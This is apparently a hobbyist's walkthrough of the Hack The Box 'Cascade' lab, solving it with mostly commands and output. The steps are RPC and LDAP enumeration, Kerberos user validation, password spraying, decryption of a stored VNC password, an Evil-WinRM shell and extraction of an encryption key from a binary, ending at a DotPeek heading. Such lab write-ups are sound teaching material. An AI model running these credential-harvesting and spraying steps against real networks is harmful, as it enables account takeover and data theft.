70 HTB CASCADE

[HTB] CASCADE

by **Pablo**

Objectives:

```
1. RPC Enumeration
2. User Enumeration via Kerberos - Kerbrute
3. ASREPRoast Attack - GetNPUsers.py (Failed)
4. LDAP Enumeration - ldapsearch && ldapdomaindump
5. SMB Enumeration - smbclient && smbmap
6. Cracking TightVNC Password - vncpwd
7. Kerberoasting Attack - GetUserSPNs.py (Failed)
8. Abusing WinRM - EvilWinRM
9. Enumerating SQLite3 Database File
10. Analysis of Windows EXE binary
11. Installing DotPeek on a Windows virtual machine
12. Reverse engineering the CBC cipher - Obtaining clear text passwords
13. Abusing AD Recycle Bin Group - Active Directory Object Recovery (Get-ADObject) [Privilege Escalation]
14. EXTRA: Chisel Remote Port Forwarding (RDP + Remmina)
```

1. **We will be need a Windows 10 vm for this hack on HTB Cascade.**
2. **We do the normal nmap thing.**
3. **Port 135 is open RPC. So I try RpcClient nullsession.**

```
1. We are able to connect and download 'enumdomusers'
2. ▷ rpcclient -U "" 10.10.10.182 -N
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]
2. Since we have a list of users we can use Kerbrute to see which are valid and GetUserSPNs.py to see if any are
ASREP Roastable.
3. We run RpcClient again to see if we can access 0x200 which is 'Domain Admins' but we get access denied.
4. ▷ rpcclient -U "" 10.10.10.182 -N -c "enumdomgroups"
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Group Policy Creator Owners] rid:[0x208]
group:[DnsUpdateProxy] rid:[0x44f]
5. ▷ rpcclient -U "" 10.10.10.182 -N -c "querygroupmem 0x200"
result was NT_STATUS_ACCESS_DENIED
6. ▷ rpcclient -U "" 10.10.10.182 -N -c "querydispinfo"
```

4. **We need to clean the rid file. We can validate the users using *Kerbrute*.**

```
1. ~/hackthebox/cascade ▷ cat userslist | grep -oP '\[.*?\]' | grep -v "0x" | tr -d '[]' > users
2. ▷ jbat users
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
```

```
BackupSvc
j.allen
i.croft
```

5. **kerbrute to validate the users. I use the `--downgrade` flag encase it spits back any ASREP Roastable account hash.**

```
▷ kerbrute userenum --dc 10.10.10.182 -d cascade.local users --downgrade

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 10/21/23 - Ronnie Flathers @ropnop

2023/10/21 21:46:43 >  Using downgraded encryption: arcfour-hmac-md5
2023/10/21 21:46:43 >  Using KDC(s):
2023/10/21 21:46:43 >   10.10.10.182:88

2023/10/21 21:46:48 >  [+] VALID USERNAME:       j.wakefield@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       arksvc@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       a.turnbull@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       util@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       r.thompson@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       j.goodhand@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       s.hickson@cascade.local
2023/10/21 21:46:48 >  [+] VALID USERNAME:       s.smith@cascade.local
2023/10/21 21:46:54 >  [+] VALID USERNAME:       d.burman@cascade.local
2023/10/21 21:46:54 >  [+] VALID USERNAME:       j.allen@cascade.local
2023/10/21 21:46:54 >  [+] VALID USERNAME:       BackupSvc@cascade.local
2023/10/21 21:46:54 >  Done! Tested 15 usernames (11 valid) in 10.579 seconds
```

1. **Seems they are all valid users.**

GetNPUsers.py

6. **We try `GetNPUsers.py` on the users list we got from RpcClient.**

```
(.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ ./GetNPUsers.py cascade.local/ -no-pass -
usersfile ~/hackthebox/cascade/users
.....................................................................
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
```

1. **FAIL**

We need a password for these valid users to run a *Kerberoasting attack* using `GetUserSPNs.py`

7. ***If we can get credentials for any of these valid users then we can do a `GetUserSPNs.py`. Which is a `Kerberoasting` attack.***

If you keep failing go down the list of vulnerable ports from your *Nmap scan* . Next we will try `445` `smb`

8. ***smbclient nullsession* attempt since we still don't have a password.**

```
1.  ▷ smbclient -L 10.10.10.182 -N
Anonymous login successful
```

```
        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available
2. There probably are shares but it will not show them without valid credentials.
```

Password Spray with *CrackMapExec* no Brute Force using users names

9. ***Since we have no passwords you can do a password spray with the users list and copy it to a password list and see if anyone has the username as a password.*** **This is highly unlikely to ever happen in the real world. There is much more of a chance that they have weak credentials than having the username as the password, but for lab purposes lets try it.**

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u
/home/pepe/hackthebox/cascade/users -p /home/pepe/hackthebox/cascade/passwords --no-bruteforce
SMB  10.10.10.182  445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local)
(signing:True) (SMBv1:False)
SMB  10.10.10.182  445  CASC-DC [-] cascade.local\CascGuest:CascGuest STATUS_LOGON_FAILURE
SMB    10.10.10.182  445  CASC-DC1  [-] cascade.local\arksvc:arksvc STATUS_LOGON_FAILURE
SMB   10.10.10.182    445    CASC-DC1  [-] cascade.local\s.smith:s.smith STATUS_LOGON_FAILURE
SMB  10.10.10.182    445 CASC-DC1  [-] cascade.local\r.thompson:r.thompson STATUS_LOGON_FAILURE
SMB  10.10.10.182 445 CASC-DC1  [-] cascade.local\util:util STATUS_LOGON_FAILURE
SMB 10.10.10.182    445 CASC-DC1   [-] cascade.local\j.wakefield:j.wakefield STATUS_LOGON_FAILURE
SMB  10.10.10.182 445 CASC-DC1 [-] cascade.local\s.hickson:s.hickson STATUS_LOGON_FAILURE
SMB  10.10.10.182 445 CASC-DC1  [-] cascade.local\j.goodhand:j.goodhand STATUS_LOGON_FAILURE
SMB   10.10.10.182 445 CASC-DC1 [-] cascade.local\a.turnbull:a.turnbull STATUS_LOGON_FAILURE
SMB   10.10.10.182  445 CASC-DC1  [-] cascade.local\e.crowe:e.crowe STATUS_LOGON_FAILURE
SMB  10.10.10.182 445 CASC-DC1  [-] cascade.local\b.hanson:b.hanson STATUS_LOGON_FAILURE
SMB    10.10.10.182 445 CASC-DC1   [-] cascade.local\d.burman:d.burman STATUS_LOGON_FAILURE
SMB   10.10.10.182  445  CASC-DC1  [-] cascade.local\BackupSvc:BackupSvc STATUS_LOGON_FAILURE
SMB   10.10.10.182 445 CASC-DC1   [-] cascade.local\j.allen:j.allen STATUS_LOGON_FAILURE
SMB  10.10.10.182  445 CASC-DC1   [-] cascade.local\i.croft:i.croft STATUS_LOGON_FAILURE
```

> **FAIL, I didn't think it would work in a way i am glad it did not it makes this much more realistic!**

CME Brute Force

S4vitar wants to do a brute force. I would never recommend this because most of the time this will block you or lockout the accounts.

10. ***To do a brute force with all the usersname in the password list just remove the*** `--no-bruteforce` ***flag.***

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u
/home/pepe/hackthebox/cascade/users -p /home/pepe/hackthebox/cascade/passwords
2. FAIL, not one came back. I did not think any would.
```

Lets try RpcClient `"querydispinfo"` to see if we can get any info

11. **querydispinfo**

```
1. ▷ rpcclient -U "" 10.10.10.182 -N -c "querydispinfo"
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull     Name: Adrian Turnbull   Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc    Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x00000211 Account: b.hanson       Name: Ben Hanson        Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc      Name: BackupSvc Desc: (null)
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest      Name: (null)    Desc: Built-in account for guest
access to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman       Name: David Burman
2. SUCCESS, we get a guest access for the 'CascGuest'. So S4vitar tries a guess at the password as 'guest'
```

12. **We run *CrackMapExec* with the creds** `Cascguest:guest`.

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'CascGuest' -p 'guest'
SMB 10.10.10.182 445 CASC-DC1 [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local)
(signing:True) (SMBv1:False)
SMB 10.10.10.182 445  CASC-DC1 [-] cascade.local\CascGuest:guest .STATUS_LOGON_FAILURE
```

LdapSearch *WithOut Credentials*!!!

- *#pwn_ldapsearch_without_credentials*
- *#pwn_LdapSearch_no_credentials*

13. **OK, that was a *FAIL* lets try *LdapSearch*.**

```
1. ▷ ldapsearch -H ldap://10.10.10.182 -D 'ldap@cascade.local' -b "DC=cascade,DC=local"
2. (WORKED FOR THE HTB CASCADE BOX NO CREDENTIALS!!! YOU HAVE TO WRITE ldap@the_hostname)
3. SUCCESS!!!
4. BTW, the below does not work do not even bother trying it this way.
5. ▷ ldapsearch -x -h 10.10.10.182 -b "DC=cascade,DC=local" <<< .FAILS
```

14. **Now you can grep on the LdapSearch dump file like this**

```
1. ▷ grep -iR "sam" ldapsearch_dump.txt 2>/dev/null
```

LdapDomainDump requires CREDS

3. **He was trying to see if we could run LdapDomainDump without any credentials and I do not think it is possible even though in the --help it says you can do anonymous by just removing the username.**

```
1. ▷ ldapdomaindump -u 'cascade.local\' -p ''' 10.10.10.182 -o ldapdomaindump.out
2. raise LDAPUnknownAuthenticationMethodError(self.last_error)
ldap3.core.exceptions.LDAPUnknownAuthenticationMethodError: NTLM needs domain\username and a password
3. ▷ ldapdomaindump --help | grep -i -A4 -B4 "anon"
-u USERNAME, --user USERNAME
                      DOMAIN\username for authentication, leave empty for
                      .anonymous authentication
4. Says you can do but it does not work
```

Random Tangent about SIDs on Active Directory

4. **I dumped a bunch of Ldap stuff using LdapSearch and it has what looks like the SIDs encoded in base64 but they are not. Decrypting Windows AD SID. It looks like it is in base 64 or that you can reverse it with `base64 -d | xxd -r`, *but I don't think that is possible*. Here is what the SID will look like if you search it with LdapSearch.**

```
1. objectGUID:: Q4wKeOng20ia/u5wrCOr2g==
objectSid:: AQUAAAAAAAUVAAAAMvuhxgsd8Uf1yHJFcgQAAA==
sAMAccountName: Data Share
sAMAccountType: 536870912
2. To decrypt this SID is a pain. There is an article about it in HTB Scrambled box. I also have notes on it
under '#1337_SID_decryption'
```

CrackMapExec r.thompson

5. **We found a *base64* encoded password in the *ldapsearch* dump for r.*thompson*.**

```
1.  ▷ echo "clk0bjVldmE=" | base64 -d; echo
rY4n5eva
2. Lets validate it with CrackMapExec
3. SUCCESS!!!
4. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'r.thompson' -p
'rY4n5eva'
[+] cascade.local\r.thompson:rY4n5eva
```

CrackMapExec List Shares!!!

- *#pwn_crackmapexec_List_Shares*

6. **I didn't even know you could list shares with CrackMapExec.**

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'r.thompson' -p
'rY4n5eva' --shares
```

```
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'CascGuest' -p 'guest'
SMB         10.10.10.182    445    CASC-DC1        [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1        [-] cascade.local\CascGuest:guest STATUS_LOGON_FAILURE
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva'
SMB         10.10.10.182    445    CASC-DC1        [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1        [+] cascade.local\r.thompson:rY4n5eva
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --shares
SMB         10.10.10.182    445    CASC-DC1        [*] Windows 6.1 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
SMB         10.10.10.182    445    CASC-DC1        [+] cascade.local\r.thompson:rY4n5eva
SMB         10.10.10.182    445    CASC-DC1        [+] Enumerated shares
SMB         10.10.10.182    445    CASC-DC1        Share           Permissions     Remark
SMB         10.10.10.182    445    CASC-DC1        -----           -----------     ------
SMB         10.10.10.182    445    CASC-DC1        ADMIN$                          Remote Admin
SMB         10.10.10.182    445    CASC-DC1        Audit$
SMB         10.10.10.182    445    CASC-DC1        C$                              Default share
SMB         10.10.10.182    445    CASC-DC1        Data            READ
SMB         10.10.10.182    445    CASC-DC1        IPC$                            Remote IPC
SMB         10.10.10.182    445    CASC-DC1        NETLOGON        READ            Logon server share
SMB         10.10.10.182    445    CASC-DC1        print$          READ            Printer Drivers
SMB         10.10.10.182    445    CASC-DC1        SYSVOL          READ            Logon server share
(.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷
```

GetUserSPNs.py

7. **We try a *kerberoasting attack* now that we have credentials but it fails there are no *Kerberoastable* users on this domain.**

```
1. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ ./GetUserSPNs.py
cascade.local/r.thompson:rY4n5eva
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

No entries found!
2. If there would have been a user found you would add the -request flag to our command, example below.
3. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ ./GetUserSPNs.py
cascade.local/r.thompson:rY4n5eva -request
```

8. ***SMBMAP* but it doesn't show anything different than using *CrackMapExec* with the `--shares` flag.**

```
1. ▷ smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --no-banner
2. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.182 -u 'r.thompson' -p
'rY4n5eva' --shares
3. We can Read on "Data" share but CME found that earlier.
4. ▷ smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --no-banner -r Data
................................................................
        dr--r--r--                0 Tue Jan 28 16:05:51 2020    .
        dr--r--r--                0 Tue Jan 28 16:05:51 2020    ..
        dr--r--r--                0 Sun Jan 12 19:45:14 2020    Contractors
        dr--r--r--                0 Sun Jan 12 19:45:10 2020    Finance
        dr--r--r--                0 Tue Jan 28 12:04:51 2020    IT
        dr--r--r--                0 Sun Jan 12 19:45:20 2020    Production
        dr--r--r--                0 Sun Jan 12 19:45:16 2020    Temps
5. ~/hackthebox/cascade ▷ smbmap -H 10.10.10.182 -u 'r.thompson' -p 'rY4n5eva' --no-banner -r 'Data/IT/Email
Archives'
................................................................          [+] IP: 10.10.10.182:445
Name: cascade.local             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Data                                                    READ ONLY
        .\Data\IT\Email Archives\*
        dr--r--r--                0 Tue Jan 28 12:00:30 2020    .
        dr--r--r--                0 Tue Jan 28 12:00:30 2020    ..
        fr--r--r--             2522 Tue Jan 28 12:00:30 2020    Meeting_Notes_June_2018.html
```

Too many directories so we mount the remote share Data.

9. **My noobness is showing here can't get mount to work. lol. Too many directories in the *SMB* shares. I wanted to show the entire output of mounting the remote share. We get a permission denied even though I *chowned* the directory `/mnt` to myself *it still denies me when I run the mount command*.**

```
1. ~/hackthebox/cascade ▷ sudo chown pepe:pepe -R  /mnt/
2. /mnt ▷ mount -t cifs //10.10.10.182/Data /mnt/mounted_share -o
username=r.thompson,password=rY4n5eva,domain=cascade.local,rw
3. mount.cifs: permission denied: no match for /mnt/mounted_share found in /etc/fstab
4. /mnt ▷ unlock_root.sh
.....................UNLOCKING ROOT AND SENSITIVE FILES .......................
ROOT ACCOUNT LOCKED :! UNLOCKED :$
[sudo] password for pepe:
root:!
Attempting to remove IMMUTABLE attributes from PASSWD file.
Passwd file IMMUTABLE attribute successfully removed.
---------------------- /etc/passwd
Attempting to remove the IMMUTABLE attribute from the SHADOW file...
SHADOW file IMMUTABLE attribute successfully removed.
---------------------- /etc/shadow
Attempting to UNLOCK the ROOT account...
passwd: password changed.
ROOT account was successfully UNLOCKED!
Attempting to UNLOCK the ROOT SHELL...
ROOT SHELL successfully UNLOCKED!
root:x:0:0::/root:/usr/bin/zsh
ROOT SUCCESSFULLY UNLOCKED IF YOU SEE $
root:$
1. /mnt ▷ sudo su -
2. [root@h3lix]-[~]
>>> pwd
/root
3. [root@h3lix]-[~]
>>> mount -t cifs //10.10.10.182/Data /mnt/mounted_share -o
username=r.thompson,password=rY4n5eva,domain=cascade.local,rw
4. [root@h3lix]-[~]
>>> cd /mnt
```

```
5. [root@h3lix]-[/mnt]
>>> ls
6. mounted_share
7. [root@h3lix]-[/mnt]
>>> cd mounted_share
8. [root@h3lix]-[/mnt/mounted_share]
>>> ls
Contractors  Finance  IT  Production  Temps
```

10. **Enumerate the remote mount share Data**

```
1. tree
2. [root@h3lix]-[/mnt/mounted_share]
>>> tree
.
├── Contractors
├── Finance
├── IT
│   ├── Email Archives
│   │   └── Meeting_Notes_June_2018.html
│   ├── LogonAudit
│   ├── Logs
│   │   ├── Ark AD Recycle Bin
│   │   │   └── ArkAdRecycleBin.log
│   │   └── DCs
│   │       └── dcdiag.log
│   └── Temp
│       ├── r.thompson
│       └── s.smith
│           └── VNC Install.reg
├── Production
└── Temps

14 directories, 4 files
3. [root@h3lix]-[/mnt/mounted_share]
>>> tree -fas
[       4096]  .
├── [          0]  ./Contractors
├── [          0]  ./Finance
├── [          0]  ./IT
│   ├── [          0]  ./IT/Email Archives
│   │   └── [       2522]  ./IT/Email Archives/Meeting_Notes_June_2018.html
│   ├── [          0]  ./IT/LogonAudit
│   ├── [          0]  ./IT/Logs
│   │   ├── [          0]  ./IT/Logs/Ark AD Recycle Bin
│   │   │   └── [       1303]  ./IT/Logs/Ark AD Recycle Bin/ArkAdRecycleBin.log
│   │   └── [          0]  ./IT/Logs/DCs
│   │       └── [       5967]  ./IT/Logs/DCs/dcdiag.log
│   └── [          0]  ./IT/Temp
│       ├── [          0]  ./IT/Temp/r.thompson
│       └── [          0]  ./IT/Temp/s.smith
│           └── [       2680]  ./IT/Temp/s.smith/VNC Install.reg
├── [          0]  ./Production
└── [          0]  ./Temps

14 directories, 4 files
4. [root@h3lix]-[/mnt/mounted_share/IT/Email Archives]
>>> cp Meeting_Notes_June_2018.html /home/pepe/hackthebox/cascade/index.html
5. **From:**                                        Steve Smith

**To:**                                           IT (Internal)

**Sent:**                                        14 June 2018 14:07

**Subject:**                                   Meeting Notes

For anyone that missed yesterday's meeting (I'm looking at you Ben). Main points are below:

-- New production network will be going live on Wednesday so keep an eye out for any issues.

-- We will be using a temporary account to perform all tasks related to the network migration and this account
will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related
to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account
password).

-- The winner of the "Best GPO" competition will be announced on Friday so get your submissions in soon.
```

11. **Since arksvc is a member of the Recycle Bin Group. We can become that user and grab any deleted files. Do a google search for *powershell Get-ADObject deleted object*.**

```
1. I can not find the site he is on
2. https://www.shellandco.net/list-the-deleted-objects/
3. I found it here:
4. https://social.technet.microsoft.com/Forums/scriptcenter/en-US/5424e204-d601-4330-a7ed-331134e47e18/filter-deleted-users-in-getadobject-cmdlet-also-returns-deleted-computers
```

12. **After enumerating the remote share we find a credential**

```
1. ~/hackthebox/cascade ▷ echo "6bcf2a4b6e5aca0f" | xxd -ps -r | xxd
00000000: 6bcf 2a4b 6e5a ca0f                      k.*KnZ..
2. But it does not decode well. I think there is a way to decode vnc view passwords.
```

- *#pwn_decrypt_vnc_hex_encoded_passwords_windows*
- *#pwn_decrypt_hex_encoded_passwords_windows*

13. **Google for** `vnc view decrypted password github`

```
# [VNCDecrypt](https://github.com/billchaison/VNCDecrypt#vncdecrypt)

Decrypt passwords stored in VNC files

VNC stores passwords as a hex string in `.vnc` files using a default encryption key. The following openssl one-liner can be used to decrypt the string:

Assume the string from the .vnc file is `d7a514d8c556aade`

`echo -n d7a514d8c556aade | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv`

The output will look like this:

00000000  53 65 63 75 72 65 21 00                           |Secure!.|
00000008
```

14. **I followed instructions lol and the password is** `sT333ve2`.

```
▷ echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv
0000000000000000 -d -provider legacy -provider default | hexdump -Cv
00000000  73 54 33 33 33 76 65 32                           |sT333ve2|
00000008
```

15. **Let's try *CrackMapExec* to *validate* this password we found and *spray it* against our *users* list.**

```
1. (.venv) ~/.cmevirt/.mycmevirt/CrackMapExec (master ✔) ▷ crackmapexec winrm 10.10.10.182 -u ~/hackthebox/cascade/users -p 'sT333ve2' --continue-on-success
SMB         10.10.10.182    5985   CASC-DC1         [*] Windows 6.1 Build 7601 (name:CASC-DC1) (domain:cascade.local)
HTTP        10.10.10.182    5985   CASC-DC1         [*] http://10.10.10.182:5985/wsman
WINRM       10.10.10.182    5985   CASC-DC1         [-] cascade.local\CascGuest:sT333ve2
WINRM       10.10.10.182    5985   CASC-DC1         [-] cascade.local\arksvc:sT333ve2
WINRM       10.10.10.182    5985   CASC-DC1         [+] cascade.local\s.smith:sT333ve2 (.Pwn3d!)
2. SUCCESS, we have a .Pwn3d!
```

16. **Evil-winrm after we check out ldapdomaindump again and see that s.smith is a part of remote management users.**

```
~ ▷ evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami
*Evil-WinRM* PS C:\Users\s.smith\Desktop> type user.txt
a2e67d300957b6b42b88f2e8fc44b3f6
```

Left off 01:49:20

- *#pwn_powershell_command_net_localgroup*
- *#pwn_powershell_net_localgroup*

17. **Lets *enumerate* the *windows* target now with our *powershell* session as *s.smith***

```
1. *Evil-WinRM* PS C:\Users> net localgroup "Audit Share"
Alias name     Audit Share
Comment        \\Casc-DC1\Audit$
2. I think this might be the same as the windows 'hostname' command.
3. *Evil-WinRM* PS C:\Users> hostname
```

```
CASC-DC1
4. *Evil-WinRM* PS C:\Users> net share
Access is denied.
```

18. **lets try *smbmap* with the *s.smith* credentials. We did it last time with *r.thompson* now lets see if we can find any new shares with *s.smith*.**

```
1. ▷ smbmap -H 10.10.10.182 -u 's.smith' -p 'sT333ve2' --no-banner

[+] IP: 10.10.10.182:445        Name: cascade.local             Status: Authenticated
        Disk                    Permissions       Comment
          ----                    -----------     -------
        ADMIN$                    NO ACCESS       Remote Admin
        Audit$                    READ ONLY
        C$                        NO ACCESS       Default share
        Data                      READ ONLY
        IPC$                      NO ACCESS       Remote IPC
        NETLOGON                  READ ONLY       Logon server share
        print$                    READ ONLY       Printer Drivers
        SYSVOL                    READ ONLY       Logon server share
2. ▷ smbmap -H 10.10.10.182 -u 's.smith' -p 'sT333ve2' -r 'Audit$' --no-banner
        fr--r--r--       13312 Tue Jan 28 15:47:08 2020  CascAudit.exe
        fr--r--r--       12288 Wed Jan 29 12:01:26 2020  CascCrypto.dll
        dr--r--r--           0 Tue Jan 28 15:43:18 2020  DB
        fr--r--r--          45 Tue Jan 28 17:29:47 2020  RunAudit.bat
        fr--r--r--      363520 Tue Jan 28 14:42:18 2020  System.Data.SQLite.dll
        fr--r--r--      186880 Tue Jan 28 14:42:18 2020  System.Data.SQLite.EF6.dll
        dr--r--r--           0 Tue Jan 28 14:42:18 2020  x64
        dr--r--r--           0 Tue Jan 28 14:42:18 2020  x86
3.
```

smbclient prompt off mget

- *#pwn_smbclient_prompt_off_mget*
- *#pwn_smbclient_mget_prompt_off*
- *#pwn_smbclient_recurse_on_mget*

19. **He decides to use *smbclient* to connect.**

```
1. ~/hackthebox/cascade ▷ mkdir smbclient_download
2. ~/hackthebox/cascade ▷ cd smbclient_download
3. ~/hackthebox/cascade/smbclient_download ▷ smbclient //10.10.10.182/Audit$ -U 's.smith%sT333ve2'
Try "help" to get a list of possible commands.
>>>smb: \> prompt off
>>>smb: \> recurse ON
>>>smb: \> mget *
getting file \CascAudit.exe of size 13312 as CascAudit.exe (17.3 KiloBytes/sec) (average 17.3 KiloBytes/sec)
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll (20.9 KiloBytes/sec) (average 18.9 KiloBytes/sec)
getting file \RunAudit.bat of size 45 as RunAudit.bat (0.1 KiloBytes/sec) (average 13.3 KiloBytes/sec)
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll (326.3 KiloBytes/sec) (average
127.7 KiloBytes/sec)
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll (289.2 KiloBytes/sec)
(average 156.0 KiloBytes/sec)
getting file \DB\Audit.db of size 24576 as DB/Audit.db (35.1 KiloBytes/sec) (average 136.7 KiloBytes/sec)
getting file \x64\SQLite.Interop.dll of size 1639936 as x64/SQLite.Interop.dll (1462.6 KiloBytes/sec) (average
406.2 KiloBytes/sec)
getting file \x86\SQLite.Interop.dll of size 1246720 as x86/SQLite.Interop.dll (479.1 KiloBytes/sec) (average
429.6 KiloBytes/sec)
>>>smb: \>
```

- *#pwn_SQLite3_knowledge_base*

20. ***SqlLite3*, we do some enumeration on Audit.db file we find from the `mget *` we just did.**

```
1. ▷ sqlite3 Audit.db
SQLite version 3.43.1 2023-09-11 12:01:27
Enter ".help" for usage hints.
2. sqlite> .tables
DeletedUserAudit  Ldap              Misc
3. sqlite> select * from DeletedUsersAudit;
Parse error: no such table: DeletedUsersAudit
4. sqlite> select * from DeletedUserAudit;
|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted
Objects,DC=cascade,DC=local
|deleted|deleted guy
```

```
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted
Objects,DC=cascade,DC=local
|TempAdmin|TempAdmin
5. sqlite> select * from Ldap
   ...>
   ...> exit
   ...> quit()
   ...> exit
Program interrupted.
6. ▷ sqlite3 Audit.db
SQLite version 3.43.1 2023-09-11 12:01:27
Enter ".help" for usage hints.
7. sqlite> .tables
DeletedUserAudit  Ldap              Misc
8. sqlite> select * from Ldap;
|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
```

- *#pwn_strings_for_windows_executables*
- *#pwn_strings_windows_for_exe_files*

21. ***We do a strings on the the Audit.exe file with*** `-t x flags` ***for*** `Windows executables`.

```
1. ▷ strings CascAudit.exe -t -x
2. FAIL
3. ▷ strings CascAudit.exe -t x
4. SUCCESS!!!
5. Works even better with the '-e l' flags
6.  ▷ strings CascAudit.exe -e l
7. I think we found a password.
.........................................
SELECT * FROM LDAP
Uname
Domain
'c4scadek3y654321'
Error decrypting password:
Error getting LDAP connection data From database:
(&(isDeleted=TRUE)(objectclass=user))
sAMAccountName
distinguishedName
```

DotPeek an awesome reverse engineering tool for Windows binaries. Exe, dll, etcetera

- *#pwn_dotpeek_knowledge_base*

